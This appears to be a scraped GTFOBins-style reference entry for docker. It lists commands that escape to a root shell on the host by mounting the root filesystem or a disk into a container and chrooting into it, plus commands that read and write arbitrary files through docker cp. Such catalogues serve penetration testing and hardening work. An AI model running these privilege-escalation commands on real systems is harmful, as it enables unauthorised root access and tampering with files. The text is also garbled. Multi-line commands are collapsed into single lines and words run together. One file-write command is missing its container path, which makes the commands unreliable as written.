docker
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/shThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/shThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh - This function can be performed by any unprivileged user.
docker run --rm -it --privileged -u root alpine mount /dev/sda1 /mnt/ ls -la /mnt/ chroot /mnt /bin/bashThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.docker run --rm -it --privileged -u root alpine mount /dev/sda1 /mnt/ ls -la /mnt/ chroot /mnt /bin/bashThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.docker run --rm -it --privileged -u root alpine mount /dev/sda1 /mnt/ ls -la /mnt/ chroot /mnt /bin/bash
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
echo DATA >/path/to/temp-file docker cp /path/to/temp-file $CONTAINER_ID:temp-file docker cp $CONTAINER_ID /path/to/output-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo DATA >/path/to/temp-file docker cp /path/to/temp-file $CONTAINER_ID:temp-file docker cp $CONTAINER_ID /path/to/output-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.echo DATA >/path/to/temp-file docker cp /path/to/temp-file $CONTAINER_ID:temp-file docker cp $CONTAINER_ID /path/to/output-file
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
docker cp /path/to/input-file $CONTAINER_ID:input-file docker cp $CONTAINER_ID:input-file /path/to/temp-file cat /path/to/temp-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.docker cp /path/to/input-file $CONTAINER_ID:input-file docker cp $CONTAINER_ID:input-file /path/to/temp-file cat /path/to/temp-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.docker cp /path/to/input-file $CONTAINER_ID:input-file docker cp $CONTAINER_ID:input-file /path/to/temp-file cat /path/to/temp-file